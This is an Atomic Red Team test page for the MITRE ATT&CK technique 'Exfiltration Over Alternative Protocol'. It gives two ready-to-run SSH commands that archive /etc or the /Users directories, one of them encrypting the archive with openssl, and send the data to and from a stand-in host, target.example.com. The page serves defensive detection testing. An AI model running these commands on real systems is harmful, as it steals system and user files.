T1048.md

T1048 - Exfiltration Over Alternative Protocol

Description from ATT&CK

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016)

Atomic Tests

• Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH

• Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH

Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Remote to Local

Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.

Supported Platforms: macOS, Linux

Inputs:

Name	Description	Type	Default Value
domain	target SSH domain	url	target.example.com

Attack Commands: Run with sh!

ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz

Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Local to Remote

Upon successful execution, tar will compress /Users/* directory and password protect the file modification of Users.tar.gz.enc as output.

Supported Platforms: macOS, Linux

Inputs:

Name	Description	Type	Default Value
user_name	username for domain	string	atomic
password	password for user	string	atomic
domain	target SSH domain	url	target.example.com

Attack Commands: Run with sh!

tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'